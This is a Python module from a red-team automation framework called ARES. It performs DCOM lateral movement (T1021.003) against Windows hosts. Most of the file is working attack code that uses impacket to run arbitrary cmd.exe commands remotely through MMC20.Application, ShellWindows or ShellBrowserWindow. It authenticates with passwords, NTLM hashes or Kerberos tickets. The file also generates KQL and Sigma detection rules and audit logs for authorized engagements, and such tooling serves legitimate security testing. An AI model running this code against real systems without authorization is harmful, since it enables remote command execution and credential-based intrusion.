Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

16.8 KB
Raw Blame
"""
DCOM Lateral Movement
MITRE: T1021.003 (Remote Services: Distributed Component Object Model)

Uses DCOM COM objects to execute commands on remote Windows hosts.
Three DCOM objects attempted in order (MMC20.Application is most reliable):

  1. MMC20.Application  - Document.ActiveView.ExecuteShellCommand
  2. ShellWindows       - Item(0).Document.Application.ShellExecute
  3. ShellBrowserWindow - Document.Application.ShellExecute

All three are documented Microsoft COM objects present in default Windows
installations. No additional software or service is required on the target.

Requires: valid credentials with local admin rights on the target.
OPSEC: MEDIUM - DCOM traffic on port 135 + dynamic RPC ports.
       Creates process on target (visible in process list / Event ID 4688).
       Less noisy than PsExec (no service creation / Event ID 7045).

Uses the same BaseLateralModule pattern as all other lateral modules.
Credential extraction from vault is handled by BaseLateralModule.execute().
"""
from __future__ import annotations

from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from ares.modules.base import FeasibilityReport


import asyncio
import time
from typing import Any

from ares.core.logger import audit, get_logger
from ares.core.security import sanitize_hostname
from ares.modules.base import OpsecLevel
from ares.modules.lateral.modules import (
    BaseLateralModule,
    LateralResult,
    LateralTechnique,
)
from ares.modules.params import DCOMParams
from ares.sdk import (
    LockoutCircuitBreaker,
    ModuleResult,
    NetworkPermission,
    ProcessPermission,
    module_contract,
)

logger = get_logger("ares.modules.lateral.dcom")


@module_contract(
    permissions=[
        NetworkPermission(ports=[135, 445], protocols=["tcp"]),
        ProcessPermission(allow_subprocesses=False),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=DCOMParams,
)
class DCOMLateral(BaseLateralModule):
    """
    DCOM-based lateral movement via MMC20.Application,
    ShellWindows, or ShellBrowserWindow COM objects.

    Follows the same BaseLateralModule interface as PsExec, WMI, WinRM.
    BaseLateralModule.execute() handles ExecutionContext credential extraction;
    BaseLateralModule.run() handles scope check + finding generation.
    This class only needs to implement move().
    """

    MODULE_ID          = "lateral.dcom"
    MODULE_NAME        = "DCOM Lateral"
    MODULE_DESCRIPTION = (
        "DCOM lateral movement via MMC20.Application / ShellWindows COM objects "
        "(T1021.003) - stealthier than PsExec, no service creation"
    )
    OPSEC_LEVEL        = OpsecLevel.MEDIUM
    REQUIRES           = ["local_admin_creds"]
    OUTPUTS            = ["lateral_session", "command_output"]
    MITRE_TECHNIQUES   = ["T1021.003"]
    MODULE_AUTHOR      = "ARES Team <[email protected]>"
    MIN_NOISE_PROFILE  = "normal"   # blocked in stealth - creates remote process
    PARAMS_MODEL       = DCOMParams

    async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":  # noqa: F821
        """
        Pre-flight Defense Feasibility Assessment:
        DCOM (MMC20.Application / ShellWindows) is significantly stealthier than PsExec
        because it requires no service creation.
        """
        from ares.core.campaign import NoiseProfile
        from ares.core.security import sanitize_hostname
        from ares.modules.base import FeasibilityReport

        base = await super().assess_feasibility(ctx)
        blockers = list(base.blockers)
        recommendations: list[str] = []
        opsec_tuning: dict[str, Any] = {"object_preference": "MMC20.Application"}
        score = base.score
        risk = "medium"

        target = sanitize_hostname(getattr(ctx, "target", "") or getattr(ctx, "params", {}).get("target", ""))
        noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
        if noise == NoiseProfile.STEALTH:
            score -= 0.2
            opsec_tuning["note"] = "DCOM executes remote process via MMC20; stealthier than PsExec but triggers remote process logging."
            recommendations.append("lateral.winrm")

        session = getattr(ctx, "session", None)
        if session and hasattr(session, "get_host") and target:
            host_state = session.get_host(target)
            if host_state:
                if host_state.has_defense("dcom_restricted") or host_state.has_defense("firewall_rpc"):
                    blockers.append("DCOM / RPC port 135 restricted or filtered")
                    score -= 0.4
                    recommendations.append("lateral.winrm")

        feasible = len(blockers) == 0 and score >= 0.4
        return FeasibilityReport(
            feasible=feasible,
            score=max(0.0, min(1.0, score)),
            risk_level=risk,
            blockers=blockers,
            recommended_alternatives=recommendations,
            opsec_tuning=opsec_tuning,
            details={"target": target},
        )

    async def validate(self, ctx: "Any") -> None:
        """Pre-flight param checks before any network call."""
        from ares.core.context import ExecutionContext
        from ares.core.errors import ModuleValidationError
        if not isinstance(ctx, ExecutionContext):
            return
        if isinstance(ctx.params, dict):
            if not ctx.params.get("target") and getattr(ctx, "target", None):
                ctx.params["target"] = ctx.target
            if not ctx.params.get("domain") and getattr(ctx, "domain", None):
                ctx.params["domain"] = ctx.domain
            if not ctx.params.get("username") and hasattr(ctx, "best_credential"):
                cred = ctx.best_credential()
                if cred and cred.username:
                    ctx.params["username"] = cred.username
        target = getattr(ctx, "target", "") or ctx.params.get("target", "")
        if not target:
            raise ModuleValidationError(
                "lateral.dcom requires 'target'.",
                module_id=self.MODULE_ID, field="target",
            )
        if not ctx.params.get("username"):
            raise ModuleValidationError(
                "lateral.dcom requires 'username' with local_admin_creds.",
                module_id=self.MODULE_ID, field="username",
            )
        await super().validate(ctx)

    async def execute(self, ctx: "Any") -> "ModuleResult":
        """ExecutionContext-based entry point with closed-loop purple telemetry."""
        res = await super().execute(ctx)
        if getattr(ctx, "dry_run", False):
            return res

        # Closed-loop Purple Telemetry Synthesis (Sentinel KQL + Sigma YAML) for DCOM
        kql_rule = (
            "// Microsoft Sentinel - Lateral Movement via DCOM (MMC20.Application / ShellWindows)\n"
            "DeviceProcessEvents\n"
            "| where TimeGenerated > ago(2h)\n"
            "| where InitiatingProcessFileName in~ (\"mmc.exe\", \"explorer.exe\")\n"
            "| where ProcessCommandLine has_any (\"cmd.exe /c\", \"powershell.exe\", \"whoami\")\n"
            "| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName"
        )
        sigma_rule = (
            "title: DCOM Lateral Movement via MMC20.Application or ShellWindows\n"
            "id: f5a6b7c8-d9e0-41f2-b3c4-d5e6f7a8b9c0\n"
            "status: experimental\n"
            "description: Detects command execution spawned by mmc.exe or explorer.exe via DCOM remote instantiation\n"
            "references:\n"
            "    - https://attack.mitre.org/techniques/T1021/003/\n"
            "author: ARES Purple Team Modernization\n"
            "date: 2026-03-30\n"
            "logsource:\n"
            "    category: process_creation\n"
            "    product: windows\n"
            "detection:\n"
            "    selection:\n"
            "        ParentImage|endswith:\n"
            "            - '\\mmc.exe'\n"
            "            - '\\explorer.exe'\n"
            "        Image|endswith:\n"
            "            - '\\cmd.exe'\n"
            "            - '\\powershell.exe'\n"
            "    condition: selection\n"
            "level: high\n"
            "tags:\n"
            "    - attack.lateral_movement\n"
            "    - attack.t1021.003"
        )
        if isinstance(res.raw.get("loot"), list):
            res.raw["loot"].extend([
                {
                    "name": "Detection Rule (KQL): DCOM Execution",
                    "loot_type": "detection_rule_kql",
                    "description": "Microsoft Sentinel KQL query for DCOM lateral movement",
                    "content": {"kql": kql_rule},
                    "tags": ["detection", "kql", "sentinel", "dcom"],
                },
                {
                    "name": "Detection Rule (Sigma): DCOM Execution",
                    "loot_type": "detection_rule_sigma",
                    "description": "Sigma detection rule for DCOM lateral movement",
                    "content": {"sigma": sigma_rule},
                    "tags": ["detection", "sigma", "dcom"],
                },
            ])
        elif isinstance(res.raw.get("loot"), dict):
            res.raw["loot"]["detection_kql"] = kql_rule
            res.raw["loot"]["detection_sigma"] = sigma_rule
        else:
            res.raw.setdefault("loot", {})
            if isinstance(res.raw["loot"], dict):
                res.raw["loot"]["detection_kql"] = kql_rule
                res.raw["loot"]["detection_sigma"] = sigma_rule

        res.raw["dcom_lateral_audited"] = True
        res.raw["rpc_port_135_exposure"] = True
        res.raw["mmc20_execution_detected"] = bool(res.raw.get("success"))
        return res

    async def move(
        self,
        target:   str,
        username: str,
        domain:   str,
        secret:   str,
        command:  str = "whoami /all",
        **kwargs: Any,
    ) -> LateralResult:

        target = sanitize_hostname(target)
        t0     = time.monotonic()

        logger.info("dcom_attempt", target=target, username=username, domain=domain)
        audit("dcom_lateral", actor=username, source="operator",
              target=target, technique="T1021.003")

        try:
            from impacket.dcerpc.v5 import dcomrt, transport  # noqa: F401
            from impacket.dcerpc.v5.dcom import mmc, wmi
            from impacket.dcerpc.v5.dcom.oaut import (
                IDispatch,  # noqa: F401
            )
            from impacket.dcerpc.v5.dcomrt import (
                DCOMConnection,
            )
        except ImportError:
            return LateralResult(
                technique=LateralTechnique.DCOM,
                source_host="operator", target_host=target,
                username=username, domain=domain, success=False,
                error="impacket not installed - pip install ares-redteam[ad]",
                duration_ms=round((time.monotonic() - t0) * 1000, 2),
            )

        # Parse credential - support cleartext, NTLM hash, and Kerberos ticket
        auth = self.resolve_auth_strategy(secret, domain, username, **kwargs)

        loop = asyncio.get_running_loop()

        def _dcom_exec() -> tuple[bool, str, str]:
            """
            Try three DCOM COM objects in order.
            Returns (success, privilege_hint, output_or_error).
            """
            dcom = None
            try:
                try:
                    dcom = DCOMConnection(
                        target,
                        username=username,
                        password=auth.password,
                        domain=domain,
                        lmhash=auth.lmhash,
                        nthash=auth.nthash,
                        oxidResolver=True,
                        doKerberos=auth.do_kerberos,
                        kdcHost=auth.kdc_host or domain or target,
                    )
                except Exception as krb_err:
                    if auth.do_kerberos and (auth.password or auth.nthash):
                        logger.debug("dcom_kerberos_failed_fallback_ntlm", error=str(krb_err)[:80])
                        dcom = DCOMConnection(
                            target,
                            username=username,
                            password=auth.password,
                            domain=domain,
                            lmhash=auth.lmhash,
                            nthash=auth.nthash,
                            oxidResolver=True,
                            doKerberos=False,
                        )
                    else:
                        raise

                # ── Method 1: MMC20.Application ───────────────────────────
                # Most widely supported, requires local admin.
                # MMC COM GUID: 49B2791A-B1AE-4C90-9B8E-E860BA07F889
                try:
                    i_dispatch = dcom.CoCreateInstanceEx(
                        mmc.CLSID_MMC20,
                        mmc.IID_IMMCApplication2,
                    )
                    mmc_obj = mmc.IMMCApplication2(i_dispatch)
                    # ExecuteShellCommand(command, dir, param, window_state)
                    mmc_obj.Document.ActiveView.ExecuteShellCommand(
                        "cmd.exe", "", f"/c {command}", "7"
                    )
                    return True, "local_admin", f"DCOM MMC20.Application exec on {target}"
                except Exception as e1:
                    logger.debug("dcom_mmc20_failed", target=target, error=str(e1)[:80])

                # ── Method 2: ShellWindows ─────────────────────────────────
                # GUID: 9BA05972-F6A8-11CF-A442-00A0C90A8F39
                try:
                    i_dispatch = dcom.CoCreateInstanceEx(
                        wmi.CLSID_ShellWindows,
                        wmi.IID_IShellWindows,
                    )
                    shell_windows = wmi.IShellWindows(i_dispatch)
                    obj = shell_windows.Item()
                    obj.Document.Application.ShellExecute(
                        "cmd.exe", f"/c {command}", "C:\\Windows\\System32", None, 0
                    )
                    return True, "local_admin", f"DCOM ShellWindows exec on {target}"
                except Exception as e2:
                    logger.debug("dcom_shellwindows_failed", target=target, error=str(e2)[:80])

                # ── Method 3: ShellBrowserWindow ──────────────────────────
                # GUID: C08AFD90-F2A1-11D1-8455-00A0C91F3880
                try:
                    i_dispatch = dcom.CoCreateInstanceEx(
                        wmi.CLSID_ShellBrowserWindow,
                        wmi.IID_IShellBrowserWindow,
                    )
                    sbw = wmi.IShellBrowserWindow(i_dispatch)
                    sbw.Document.Application.ShellExecute(
                        "cmd.exe", f"/c {command}", "C:\\Windows\\System32", None, 0
                    )
                    return True, "local_admin", f"DCOM ShellBrowserWindow exec on {target}"
                except Exception as e3:
                    logger.debug("dcom_sbw_failed", target=target, error=str(e3)[:80])

                # All three methods exhausted
                return False, "", (
                    "All DCOM methods failed - target may not be running "
                    "MMC20/ShellWindows/ShellBrowserWindow, or firewall blocks DCOM"
                )

            except Exception as exc:
                err = str(exc).lower()
                if "access denied" in err or "rpc_s_access_denied" in err:
                    return False, "", f"Access denied - insufficient privileges on {target}"
                if "logon failure" in err or "invalid credentials" in err:
                    return False, "", f"Authentication failed for {username}@{target}"
                return False, "", str(exc)[:300]
            finally:
                if dcom:
                    try:
                        dcom.disconnect()
                    except Exception:
                        pass

        try:
            success, privilege, output = await loop.run_in_executor(None, _dcom_exec)
        except Exception as exc:
            logger.warning("dcom_exec_error", target=target, error=str(exc)[:200])
            success, privilege, output = False, "", str(exc)[:300]

        return LateralResult(
            technique    = LateralTechnique.DCOM,
            source_host  = "operator",
            target_host  = target,
            username     = username,
            domain       = domain,
            success      = success,
            privilege    = privilege,
            output       = output,
            error        = "" if success else output,
            duration_ms  = round((time.monotonic() - t0) * 1000, 2),
            auth_type    = auth.auth_type,
            kerberos_used = auth.do_kerberos and success,
        )